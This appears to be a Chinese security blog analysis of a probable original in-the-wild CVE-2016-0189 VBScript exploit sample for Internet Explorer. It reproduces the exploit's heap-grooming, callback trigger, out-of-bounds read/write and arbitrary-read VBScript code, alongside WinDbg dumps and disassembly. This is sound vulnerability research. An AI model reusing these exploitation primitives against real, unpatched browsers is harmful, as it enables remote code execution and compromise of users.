对疑似CVE-2016-0189原始攻击样本的调试

阅读量    75011 |   稿费 400

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

去年10月底,我得到一个与大众视野中不太一样的CVE-2016-0189利用样本。初步分析后,我觉得着这应该是当年CVE-2016-0189的原始攻击文件。其混淆手法和后续出现的CVE-2017-0149CVE-2018-8174CVE-2018-8373完全一致。其利用及加载shellcode的手法也都和后面几个利用一致。

当时我手头有其他事情,并未对该样本进行仔细研究。几天前,我重新翻出了相关样本进行了一番调试。

本文我将描述该CVE-2016-0189样本的利用方式,读者在后面将会看到,利用过程中的错位手法和CVE-2014-6332CVE-2017-0149CVE-2018-8174以及CVE-2018-8373几乎一致。

之前大众视野中的CVE-2016-0189样本,基本都是参考这篇文章中公开的代码,关于这份公开代码的利用细节,我在之前的文章已有详细分析。

下面我们来一窥3年前CVE-2016-0189实际0day样本的利用手法。

 

内存布局

原样本中借助如下代码进入利用函数

document.write("<script language='javascript'> var obj = {}; obj.toString = function() { my_valueof(); return 0;}; StartExploit(obj); " &Unescape("%3c/script%3e"))

StartExploit函数中,首先调用prepare函数进行内存布局。每次执行arr2(i) = Null会导致一个tagSAFEARRAY结构体内存被回收。

ReDim arr(0, 0)
arr(0, 0) = 3 '这一步很重要,数字3在错位后会被解释为vbLong类型

...

Sub prepare
    Dim arr5()
    ReDim arr5(2)

    For i = 0 To 17
        arr3(i) = arr5
    Next

    For i = 0 To &h7000
        arr1(i) = arr
    Next

    For i = 0 To 1999
        arr2(i) = arr '将 arr2 的每个成员初始化为一个数组
    Next

    For i = 1000 To 100 Step -3
        arr2(i)(0, 0) = 0 
        arr2(i) = Null '释放 arr2(100) ~ arr2(1000) 之间 1/3 的元素
    Next

    ReDim arr4(0, &hFFF) '定义 arr4
End Sub

Function StartExploit(js_obj)
    '省略无关代码

    prepare

    arr4(js_obj, 6) = &h55555555

    For i = 0 To 1999
        If IsArray(arr2(i)) = True Then
            If UBound(arr2(i), 1) > 0 Then
                vul_index = i
                Exit For
            End If
        End If
    Next

    lb_index = LBound(arr2(i), 1)

    If prepare_rw_mem() = True Then
    Else
        Exit Function
    End If

    addr = leak_addr()

    '省略后续代码
End Function

每个tagSAFEARRAY在内存中占据的大小为0x30字节,其中后0x20字节存储着tagSAFEARRAY的实际数据。

0:015> !heap -p -a 052a9fb0
    address 052a9fb0 found in
    _HEAP @ 360000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        052a9f98 0007 0000  [00]   052a9fa0    00030 - (busy)

0:015> dd 052a9fa0 l30/4
052a9fa0  00000000 00000000 00000000 0000000c
052a9fb0  08800002 00000010 00000000 0529d640
052a9fc0  00000001 00000000 00000001 00000000

0:015> dt ole32!tagSAFEARRAY 052a9fb0  
   +0x000 cDims            : 2
   +0x002 fFeatures        : 0x880
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x0529d640 
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND

整个释放过程造成大约3000x30大小的内存空洞。

 

触发漏洞

内存布局完毕后,利用代码通过arr4(js_obj, 6) = &h55555555这一操作进入自定义的my_valueof回调函数,然后在回调函数中重新定义arr4。这导致arr4对应的原pvData内存被释放,并按照所需大小申请新的内存。

Sub my_valueof()
    ReDim arr4(2, 0)
End Sub

上述语句将导致arr4(2, 0)对应的pvData去申请一块大小为0x30的内存,借助相关内存的分配特性,此过程会重用某块刚才释放的tagSAFEARRAY内存。

我们来仔细看一下arr4(js_obj, 6) = &h55555555语句的执行逻辑。

CVE-2016-0189的成因在于AccessArray中遇到javascript对象后可以导致一个对重载函数的回调my_valueof,利用代码在my_valueofarr4重新定义为arr4(2, 0),当回调完成再次返回到AccessArray时,arr4相关的tagSAFEARRAY结构体和pvData指针均已被修改,而AccessArray会继续往下执行的时候仍然按照arr4(0, 6)在计算元素地址,并将计算得到的地址保存到一个栈变量上。

以下汇编代码为vbscript!CScriptRuntime::RunNoEH函数先后调用AccessArrayAssignVar的代码片段,此处AccessArray返回的元素地址会保存到一个栈变量[ebp-1Ch]上,RunNoEH随后会从栈上获取该变量,赋值给edx,并在调用AssignVar时作为目的地址使用。

6d767679 8b55d8          mov     edx,dword ptr [ebp-28h]
6d76767c 8d4de4          lea     ecx,[ebp-1Ch] ; ebp-1Ch 是一个栈上的变量,AccessArray 访问到的具体地址会存放到这个变量里面
6d76767f 6a00            push    0
6d767681 ffb3b0000000    push    dword ptr [ebx+0B0h]
6d767687 56              push    esi
6d767688 e886feffff      call    vbscript!AccessArray (6d767513)
6d76768d 8945f8          mov     dword ptr [ebp-8],eax
6d767690 85c0            test    eax,eax
6d767692 0f888ebe0200    js      vbscript!CScriptRuntime::RunNoEH+0x40db7 (6d793526)
6d767698 8b83b0000000    mov     eax,dword ptr [ebx+0B0h]
6d76769e 8b55e4          mov     edx,dword ptr [ebp-1Ch] ss:0023:02c1bd98=0253a2c0 ; 将 ebp-1Ch 变量保存到edx
6d7676a1 8b0b            mov     ecx,dword ptr [ebx] 
6d7676a3 c1e604          shl     esi,4
6d7676a6 6a01            push    1
6d7676a8 03c6            add     eax,esi
6d7676aa 50              push    eax
6d7676ab e8cab8feff      call    vbscript!AssignVar (6d752f7a)

 

构造超长数组

通过上述步骤,&h55555555对应的tagVARIANT被写入某个属于arr2(i)tagSAFEARRAY结构体。从而获得一个可以用来越界读写的二维数组。

在调试器中看超长数组

我们先来看一下arr2(i) = Null操作全部结束的arr2

// arr2 tagSAFEARRAY
0:007> dd 034a8d90 l6
034a8d90  08920001 00000010 00000000 0506c060
034a8da0  000007d0 00000000

// arr2 tagSAFEARRAY.pvData
0:007> dd 0506c060
0506c060  0288200c 02888208 052a8848 00000002
0506c070  0288200c 02888208 052a8880 00000002
0506c080  0288200c 02888208 052a88b8 00000002
0506c090  0288200c 02888208 052a88f0 00000002
0506c0a0  0288200c 02888208 052a8928 00000002
0506c0b0  0288200c 02888208 052a8960 00000002
0506c0c0  0288200c 02888208 052a8998 00000002
0506c0d0  0288200c 02888208 052a89d0 00000002

// arr2(100) 开始的数据
0:015> dd 0506c060 + 0n100*10 l4*20
0506c6a0  00000001 00000000 00000000 00000000
0506c6b0  0288200c 02888208 052a9e60 00000002
0506c6c0  0288200c 02888208 052a9e98 00000002
0506c6d0  00000001 00000000 00000000 00000000 // 052a9ed0 原先位于这里
0506c6e0  0288200c 02888208 052a9f08 00000002
0506c6f0  0288200c 02888208 052a9f40 00000002
0506c700  00000001 00000000 00000000 00000000
...

然后来看一下重新分配后的arr4。结合上面的注释我们可以注意到0x052a9ed0处原来是一个tagSAFEARRAY结构体,其实际占用的内存区间为0x052a9ed0 ~ 0x052a9ed0 + 0x30

随后arr4被重新定义,其pvData所需的内存大小为0x30,恰好占用了刚被释放的tagSAFEARRAY内存区域。

上述占位手法和CVE-2018-8373完全一致。

// arr4 tagSAFEARRAY.pvData 大小为 0x30
// 它重用了 arr2 中某个(本次调试时为 arr2(103))被释放的 tagSAFEARRAY 对应的内存块
0:015> !heap -p -a 052a9ec0
    address 052a9ec0 found in
    _HEAP @ 360000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        052a9eb8 0007 0000  [00]   052a9ec0    00030 - (busy)

// arr4 tagSAFEARRAY.pvData
0:007> dd 052a9ec0
052a9ec0  00000000 00000000 00000000 00000000 // arr4(0, 0)
052a9ed0  00000000 00000000 00000000 00000000 // arr4(0, 1)
052a9ee0  00000000 00000000 00000000 00000000 // arr4(0, 2)
052a9ef0  27567e4f 88000000 00000000 00000000 // arr4(0, 3)
052a9f00  00000000 0000000c 08800002 00000010 // arr4(0, 4)
052a9f10  00000000 0529d5f8 00000001 00000000 // arr4(0, 5)
052a9f20  00000001 00000000 27567e74 88000000 // arr4(0, 6) 被改写前
052a9f30  00000000 00000000 00000000 0000000c

0:005> dd 052a9ec0
052a9ec0  00000000 00000000 00000000 00000000
052a9ed0  00000000 00000000 00000000 00000000
052a9ee0  00000000 00000000 00000000 00000000
052a9ef0  27567e4f 88000000 00000000 00000000
052a9f00  00000000 0000000c 08800002 00000010
052a9f10  00000000 0529d5f8 00000001 00000000
052a9f20  02880003 01d89a08 55555555 0000019e // arr4(0, 6) 被改写后
052a9f30  00000000 00000000 00000000 0000000c

从下面的日志可以看到arr2的某个成员对应的tagSAFEARRAY被改写了,变成了一个第一维超长的二维数组。pvData = 0529d5f8, LBound = 01d89a08, 一维元素个数为02880003, 每个元素大小为0x10字节

// 被改写的 arr2(x) tagSAFEARRAY, x此时未知
// 可以看到第一维长度被改写为 02880003,LBound 被改写为 01d89a08
0:005> dd 052a9f08 l8
052a9f08  08800002 00000010 00000000 0529d5f8
052a9f18  00000001 00000000 02880003 01d89a08 

// 调试器内全局搜索 052a9f08
0:005> s -d 0x0 l?0x7fffffff 052a9f08
01db1a70  052a9f08 01d89ff4 01d40008 00000000  ..*.............
0506c6e8  052a9f08 00000002 0288200c 02888208  ..*...... ......

// 计算 x
0:005> ? (0506c6e8-0506c060) / 10
Evaluate expression: 104 = 00000068 // 第 104 个 arr2(i), 即 arr2(103)

// x = 0x68 = 0n104,对应 arr2(103)
0:005> dd 0506c060 + 68 * 10 l4
0506c6e0  0288200c 02888208 052a9f08 00000002

随后遍历arr2数组成员来查找长度发生变化的成员,并保存对应的索引到vul_index,本次调试中vul_index = 103

For i = 0 To 1999
    If IsArray(arr2(i)) = True Then
        If UBound(arr2(i), 1) > 0 Then
            vul_index = i
            Exit For
        End If
End If

并在上述基础上封装了两个越界读写函数。

Function read(offset)
    read = Abs(arr2(vul_index)(lb_index + offset, 0))
End Function

Sub write(offset, value)
    arr2(vul_index)(lb_index + offset, 0) = value
End Sub

 

实现错位操作

有了越界读写能力后,利用代码还需要准备一块可以用于错位读写的内存。

Function prepare_rw_mem
    On Error Resume Next
    offset = 0
    mem_index = 0
    g_offset = 0
    prepare_rw_mem = False

    Do While offset < &h1000
        val_1 = read(offset)
        If val_1 > 3 Then
            val_2 = read(offset + 1)
            val_3 = read(offset + 4)

            If val_2 = 3 And val_3 = 3 Then
                g_offset = offset
                write offset, "A"
                Exit Do
            End If
        Else
            val_1 = 0
            val_2 = 0
            val_3 = 0
        End If

        offset = offset + 1
    Loop

    For i = 0 To 1999
        If find_rw_mem(arr2(i)) = True Then
            mem_index = i
            prepare_rw_mem = True
            Exit For
        End If
    Next
End Function

上述代码描述了整个查找过程,我们可以看到利用代码借助超长数组arr2(103)去查找一个符合条件的成员索引,从代码的设计来看原作者想找的是一个紧邻HEAP_ENTRY结构的arr2(i)(0, 0)成员。随后将该索引保存到一个全局索引g_offset。接着将对应地址处的变量设为代表字符为ABSTR对象。完成上述步骤后,代码又借助arr2去查找刚刚被设置的BSTR变量附近带有特征的内存,并将相应的索引保存到mem_index

在调试器中看查找过程

我们在调试器中看一下相关过程。

以下是从arr2(103)(LBound, 0)开始的内存视角,可以看到本次调试中找到的g_offset = 5,LBound = 01d89a08

随后一个BSTR变量A被写入0529d648对应的0x10字节

随后代码又以arr2(i)(0, 0)的视角来查找被写入的BSTR变量。本次调试中符合条件的i = 107,所以 mem_index = 107

我们来感受一下相差8字节的精妙错位。

 

任意地址读取

在上述错位的基础上,利用代码借用arr2(103)(LBound + 5, 0)arr2(107)(0, 0)两个不同的数组视角封装了一个任意地址读取函数GetUint32

Function GetUint32(addr)
    Dim value
    write g_offset, addr + 4
    arr2(mem_index)(0, 0) = 8
    value = LenB(arr2(vul_index)(lb_index + g_offset, 0))
    arr2(mem_index)(0, 0) = 0
    GetUint32 = value
End Function

后续的操作和之前已经有过分析文章的 CVE-2017-0149CVE-2018-8174CVE-2018-8373基本一致,这里不再重复分析。

 

结语

本文我分析了一个可能是原始CVE-2016-0189利用文件的漏洞触发和利用细节。这些细节和该漏洞这几年在公众视野中的印象有所不同。从利用代码的编写风格来看,这个利用样本和CVE-2017-0149CVE-2018-8174以及CVE-2018-8373应该是同一作者。这个作者深谙vbscript漏洞利用编写之道,在相关的几个在野利用中,他对vbscript的内存错位运用得淋漓尽致。

在漏洞利用的技巧方面,我非常佩服该作者。但从0day售卖/攻击的角度来看,这些被运用于实际攻击中的高级利用代码所产生的危害是巨大的。作者在牟利/定向攻击的同时,完全没有考虑到对网络安全大环境产生的严重影响。作者手上肯定还有其他高质量的脚本引擎漏洞,这里也请广大安全厂商引起警惕。

 

参考链接

CVE-2014-6332分析文章

CVE-2016-0189分析文章

CVE-2017-0149分析文章

CVE-2018-8174分析文章

CVE-2018-8373分析文章

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多